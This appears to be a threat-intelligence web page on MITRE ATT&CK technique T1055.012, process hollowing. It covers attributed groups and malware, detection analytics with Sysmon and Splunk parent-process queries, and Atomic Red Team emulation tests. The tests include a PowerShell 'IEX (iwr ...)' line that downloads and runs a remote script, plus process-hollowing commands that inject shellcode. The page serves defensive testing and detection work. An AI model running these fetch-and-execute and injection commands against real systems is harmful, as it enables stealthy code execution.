tfMITRE ATT&CK sub-technique

Process Hollowing T1055.012

sub-technique of T1055 Process Injection

Tactics: Privilege Escalation, Stealth
Platform: Windows
Version: 2.0
Created: 14 January 2020
Last modified: 12 May 2026

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 21%

Threat groups79th percentile · 79% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareTop 11%

Tools & malware89th percentile · 89% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules67th pct

Detection rules67th percentile · 67% of ATT&CK techniques have this many detection rules written or fewer.

Process Hollowing MITRE reference T1055.012

Top 21%of all ATT&CK techniques for number of groups

8 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

BlackByteG1043 ↗

Used process hollowing for defense evasion purposes.1

created 2024-12-161 referenceaka Hecamede

TA2541G1018 ↗

Has used process hollowing to execute CyberGate malware.1

created 2023-09-121 reference

APT-C-36G0099 ↗

Has used process hollowing to execute malware in the memory of legitimate processes.1

created 2020-05-051 referenceaka Blind Eagle

KimsukyG0094 ↗

Has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing.1

created 2019-08-261 referenceaka Black Banshee

Gorgon GroupG0078 ↗

Malware can use process hollowing to inject one of its trojans into another process.1

created 2018-10-171 reference

menuPassG0045 ↗

Has used process hollowing in iexplore.exe to load the RedLeaves implant.1

created 2017-05-311 referenceaka Cicada

All 8 groups for this technique · 6 newest in this preview

35 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

HeartCryptS9018 ↗

For .NET payloads, HeartCrypt can use process hollowing to inject into processes spawned by csc.exe or AppLaunch.exe.1

created 2026-04-16MALWAREcarried by 1 group

CaminhoS9016 ↗

Has launched and hollowed out MSBuild.exe to host malicious code.1

created 2026-04-16MALWAREcarried by 1 group

TRAILBLAZES9012 ↗

Has injected a hook into an existing process to load BRUSHFIRE in the spaces allocated memory to include the Ivanti Connect Secure (ICS) web process named web.1 2

created 2026-04-14MALWARE

Lumma StealerS1213 ↗

Has used process hollowing leveraging a legitimate program such as “BitLockerToGo.exe” to inject a malicious payload.1

created 2025-03-22MALWARE

XLoaderS1207 ↗

Uses process hollowing by injecting itself into the explorer.exe process and other files ithin the Windows SysWOW64 directory.1 2 3

created 2025-03-11MALWARE

GootloaderS1138 ↗

Can inject its Delphi executable into ImagingDevices.exe using a process hollowing technique.1 2

created 2024-05-28MALWARE

All 35 software entries for this technique · 6 newest in this preview

Offense vs defense T1055.012

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 5Splunk ESCU (cumulative) · 1

first rule: 2019 Q1

Process Hollowing detection strategy DET0382

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Process Hollowing on Windows

Enterprise

1 platform

AN1076 · Windows

Detects adversary use of suspended process creation, using the CREATE_SUSPENDED flag via CreateProcess, followed by unmapping the memory of the child process (NtUnmapViewOfSection) and replacing it with malicious code via VirtualAllocEx/WriteProcessMemory, then SetThreadContext and ResumeThread to begin execution within the hollowed process.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process ModificationDC0020	WinEventLog:Sysmon	EventCode=8
OS API ExecutionDC0021	etw:Microsoft-Windows-Kernel-Process	NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
HollowedImageNamePattern	Regex to match common decoy executables used for hollowing (e.g., 'svchost.exe', 'notepad.exe')
TimeWindow_ProcessCreateToResume	Temporal threshold for unmap/write/execute sequence (e.g., within 5–10 seconds)
SuspendedProcessStartFlag	CreateProcess flag used to identify suspended thread creation
MemoryWriteSizeThreshold	Minimum byte size to flag suspicious memory overwrite in hollowed process

1 analytic

Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event.

TypeTTPCoverageLowSubmitted2020

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PLA	Process Lineage Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	parent_exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This is a pseudocode representation of the below splunk search.

processes = search Process:Create
mismatch_processes = filter processes where ( parent_exe exists AND
  (exe="smss.exe" AND (parent_exe!="smss.exe" AND parent_exe!="System") OR
  (exe="csrss.exe" AND (parent_exe!="smss.exe" AND parent_exe!="svchost.exe")) OR
  (exe="wininit.exe" AND parent_exe!="smss.exe") OR
  (exe="winlogon.exe" AND parent_exe!="smss.exe") OR
  (exe="lsass.exe" AND (parent_exe!="wininit.exe" AND parent_exe!="winlogon.exe")) OR
  (exe="LogonUI.exe" AND (parent_exe!="winlogon.exe" AND parent_exe!="wininit.exe")) OR
  (exe="services.exe" AND parent_exe!="wininit.exe") OR
  (exe="spoolsv.exe" AND parent_exe!="services.exe") OR
  (exe="taskhost.exe" AND (parent_exe!="services.exe" AND parent_exe!="svchost.exe")) OR
  (exe="taskhostw.exe" AND (parent_exe!="services.exe" AND parent_exe!="svchost.exe")) OR
  (exe="userinit.exe" AND (parent_exe!="dwm.exe" AND parent_exe!="winlogon.exe"))
output mismatch_processes

Looks for processes that do not have the expected parent. Common Splunk forwarder applications that break these rules are whitelisted; unique environments may require additional whitelist items.

(index=__your_sysmon_index__ EventCode=1) AND ParentImage!="?" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe" AND
((Image="C:\\Windows\System32\\smss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="System")) OR
(Image="C:\\Windows\\System32\\csrss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\\System32\\wininit.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR
(Image="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR
(Image="C:\\Windows\\System32\\lsass.exe" and ParentImage!="C:\\Windows\\System32\\wininit.exe") OR
(Image="C:\\Windows\\System32\\LogonUI.exe" AND (ParentImage!="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe")) OR
(Image="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe") OR
(Image="C:\\Windows\\System32\\spoolsv.exe" AND ParentImage!="C:\\Windows\\System32\\services.exe") OR
(Image="C:\\Windows\\System32\\taskhost.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\\System32\\taskhostw.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR
(Image="C:\\Windows\System32\\userinit.exe" AND (ParentImage!="C:\\Windows\\System32\\dwm.exe" AND ParentImage!="C:\\Windows\\System32\\winlogon.exe")))

Looks for processes that do not have the expected parent. Unique environments may require additional whitelist items.

norm_id=WindowsSysmon event_id=1 -parent_image="?" ((image="*\smss.exe" (-parent_image="*\smss.exe" -parent_image="*\System")) OR
(image="*\csrss.exe" (-parent_image="*\smss.exe" -parent_image="*\svchost.exe")) OR (image="*\wininit.exe" -parent_image="*\smss.exe") OR
(image="*\winlogon.exe" -parent_image="*\smss.exe") OR (image="*\lsass.exe"  (-parent_image="*\wininit.exe"  -parent_image="*\winlogon.exe")) OR
(image="*\LogonUI.exe"  (-parent_image="*\winlogon.exe"  -parent_image="*\wininit.exe")) OR (image="*\services.exe"  -parent_image="*\wininit.exe") OR
(image="*\spoolsv.exe"  -parent_image="*\services.exe") OR (image="*\taskhost.exe"  (-parent_image="*\services.exe"  -parent_image="*\svchost.exe")) OR
(image="*\taskhostw.exe"  (-parent_image="*\services.exe"  -parent_image="*\svchost.exe")) OR
(image="*\userinit.exe"  (-parent_image="*\dwm.exe"  -parent_image="*\winlogon.exe")))

Tests4ExecutorsPowerShell 4Need elevation0 of 4Have prerequisites2Have cleanup3Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Process Hollowing using PowerShell

windows

PowerShell

—

Yes

This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent. Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)

Input arguments

Name	Type	Default	Description
script_path	path	PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1	Path to Start-Hollow.ps1
hollow_binary_path	string	C:\Windows\System32\cmd.exe	Path of the binary to hollow (executable that will run inside the sponsor)
parent_process_name	string	explorer	Name of the parent process
script_download_url	string	https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1	Download url for Start-Hollow.ps1
sponsor_binary_path	string	C:\Windows\System32\notepad.exe	Path of the sponsor binary (executable that will host the binary)
spawnto_process_name	string	notepad	Name of the process to spawn

Attack command

. "#{script_path}"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose

Cleanup command

Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore

Prerequisite

Start-Hollow.ps1 must be installed

Check

if (Test-Path "#{script_path}") {exit 0} else {exit 1}

Satisfy

try {
  iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
  Write-Error $_
  Exit 1
}

GUIDc2bea4a5-d352-4872-b431-ca45986f6474

RunPE via VBA

windows

PowerShell

—

This module executes notepad.exe from within the WINWORD.EXE process

Input arguments

Name	Type	Default	Description
ms_product	string	Word	Maldoc application Word

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"

Prerequisite

Microsoft #{ms_product} must be installed

Check

try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }

Satisfy

Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"

GUID97532151-0900-4364-8475-46f5982b6e9f

Process Hollowing in Go using CreateProcessW WinAPI

windows

PowerShell

—

Yes

Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)

Input arguments

Name	Type	Default	Description
hollow_binary_path	string	C:\Windows\System32\werfault.exe	Path of the binary to hollow
hollow_process_name	string	werfault	Name of the process to hollow

Attack command

$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug

Cleanup command

Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue

GUID378c22ce-6a98-4b78-987c-ee7de5f1865f

Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)

windows

PowerShell

—

Yes

Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe allows for the retrieval of output generated from executed shellcode. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)

Input arguments

Name	Type	Default	Description
hollow_binary_path	string	C:\Windows\System32\werfault.exe	Path of the binary to hollow
hollow_process_name	string	werfault	Name of the process to hollow

Attack command

$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug

Cleanup command

Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue

GUID5211f8a7-d926-4fa3-929c-a71c09594d03

Tests from Atomic Red Team (MIT licence) · technique definition

Process Hollowing detections T1055.012

6 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

67th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs